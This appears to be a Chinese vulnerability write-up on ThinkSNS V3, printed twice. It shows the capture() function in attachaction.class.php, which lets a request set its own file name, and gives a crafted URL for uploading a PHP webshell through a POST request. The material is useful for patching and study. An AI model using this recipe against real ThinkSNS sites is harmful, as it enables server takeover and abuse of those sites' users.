ThinkSNS是基于互联网web2.0思想开发的老牌开源微博SNS系统,其开发始于2008年,其间经历了从 1.0→1.6→2.0→2.3→2.5→2.8→V3多个大版本的迭代,目前最新版本为V3。
thinksns v3
漏洞产生文件 attachaction.class.php:
public function capture (){
error_reporting ( 0 );
//解析上传方式
$query_string = t ( $_SERVER [ 'QUERY_STRING' ]);
parse_str ( $query_string , $query_data ); //覆盖data变量
$log_file = time (). '_' . rand ( 0 , 1000 ). '.txt' ;
$log_path = RUNTIME_PATH . '/logs/' . date ( 'Y/md/H/' );
if (! is_dir ( $log_path ))
mkdir ( $log_path , 0777 , true );
$file_path = './data/uploads/' . date ( 'Y/md/H/' );
if (! is_dir ( $file_path ))
mkdir ( $file_path , 0777 , true );
file_put_contents ( $log_path . $log_file , var_export ( $query_data , true ));
//按钮截图:FileType=img
if ( $query_data [ 'FileType' ]== 'img' ){
$file_name = 'capture_' . time (). '.jpg' ;
}
//附件上传:FileType=Attachment & FileName=xxx.jpg
if ( $query_data [ 'FileType' ]== 'Attachment' ){
$file_name = $query_data [ 'FileName' ]; }
//处理数据流
if ( $stream = fopen ( 'php://input' , 'r' )) { //post获取内容
// print all the page starting at the offset 10
// echo stream_get_contents($stream, -1, 10);
$content = stream_get_contents ( $stream );
file_put_contents ( $file_path . $file_name , $content );
fclose ( $stream );
}
//include 'UploadFile.class.php';
//$up = new UploadFile();
//$up->upload('./uploads/');
//$info = $up->getUploadFileInfo();
//echo "<pre>";
//var_dump($_SERVER);
//var_dump($info);
//echo "</pre>";
//输出文件
echo SITE_URL . ltrim ( $file_path . $file_name , '.' );
}
对上传数据过滤不严,产生漏洞,构造URL:
http://目标网址/index.php?app=public&mod=attach&act=capture&FileType=Attachment&FileName=bug.php
POST提交webshell代码至以上url,将会在附件目录下生成bug.php,即获取到webshell。
thinksns v3
漏洞产生文件 attachaction.class.php:
public function capture (){
error_reporting ( 0 );
//解析上传方式
$query_string = t ( $_SERVER [ 'QUERY_STRING' ]);
parse_str ( $query_string , $query_data ); //覆盖data变量
$log_file = time (). '_' . rand ( 0 , 1000 ). '.txt' ;
$log_path = RUNTIME_PATH . '/logs/' . date ( 'Y/md/H/' );
if (! is_dir ( $log_path ))
mkdir ( $log_path , 0777 , true );
$file_path = './data/uploads/' . date ( 'Y/md/H/' );
if (! is_dir ( $file_path ))
mkdir ( $file_path , 0777 , true );
file_put_contents ( $log_path . $log_file , var_export ( $query_data , true ));
//按钮截图:FileType=img
if ( $query_data [ 'FileType' ]== 'img' ){
$file_name = 'capture_' . time (). '.jpg' ;
}
//附件上传:FileType=Attachment & FileName=xxx.jpg
if ( $query_data [ 'FileType' ]== 'Attachment' ){
$file_name = $query_data [ 'FileName' ]; }
//处理数据流
if ( $stream = fopen ( 'php://input' , 'r' )) { //post获取内容
// print all the page starting at the offset 10
// echo stream_get_contents($stream, -1, 10);
$content = stream_get_contents ( $stream );
file_put_contents ( $file_path . $file_name , $content );
fclose ( $stream );
}
//include 'UploadFile.class.php';
//$up = new UploadFile();
//$up->upload('./uploads/');
//$info = $up->getUploadFileInfo();
//echo "<pre>";
//var_dump($_SERVER);
//var_dump($info);
//echo "</pre>";
//输出文件
echo SITE_URL . ltrim ( $file_path . $file_name , '.' );
}
对上传数据过滤不严,产生漏洞,构造URL:
http://目标网址/index.php?app=public&mod=attach&act=capture&FileType=Attachment&FileName=bug.php
POST提交webshell代码至以上url,将会在附件目录下生成bug.php,即获取到webshell。